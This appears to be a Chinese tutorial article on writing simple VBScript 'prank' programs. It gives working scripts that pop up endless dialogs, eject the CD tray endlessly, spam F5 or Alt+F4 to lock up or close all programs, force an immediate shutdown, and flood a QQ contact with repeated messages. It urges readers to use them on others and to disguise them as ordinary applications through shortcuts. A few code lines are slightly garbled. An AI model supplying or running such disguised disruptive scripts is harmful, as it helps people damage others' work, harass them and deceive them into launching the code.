vbs简单代码编写(编写vbs有多简单)

vbs简单代码编写(编写vbs有多简单)(1)

编写vbs有多简单?新建“文本文档”,输入msgbox "一大波病毒正在靠近..." ,点击文件->另存为->重命名为“代码.vbs”。文件名不重要,重要的是后缀要是“.vbs”。

vbs简单代码编写(编写vbs有多简单)(2)

双击保存的文件:代码.vbs,即弹出一个对话框。记下这段小小的代码,去恶搞吧。你还可以输入其他有趣的文字。

vbs简单代码编写(编写vbs有多简单)(3)

当然,如此恶搞还是不够的。那就来一个无限循环吧,输入图中代码另存为vbs格式。双击打开。此时,会弹出提示对话框,点击确定和关闭按钮之后,再一次弹出窗口,如此循环,无法正常关闭。

vbs简单代码编写(编写vbs有多简单)(4)

vbs简单代码编写(编写vbs有多简单)(5)

那么到底要如何才能关闭呢?打开任务管理器结束进程“wscript.exe”即可

vbs简单代码编写(编写vbs有多简单)(6)

以上是一些比较简单的代码,下面就是稍微有些难度的:

无限弹出光驱:

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

无限语音报数:

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i 1

loop

无限刷新:

慎用,如此刷新打开任务管理器都难,只能拔掉电源。

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

QQ信息骚扰:

打开好友的聊天对话框,然后记下聊天对话框的名称(如图:九悲),把下面代码里的小敏替换一下。代码中的“20”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 20

wscript.sleep 700

wsh.AppActivate("九悲")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

vbs简单代码编写(编写vbs有多简单)(7)

直接关机:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

不断按下ALT F4:

关闭打开的所有程序

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

这些代码保存为vbs后还可以通过创建快捷方式伪装成各种各样的应用程序。

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页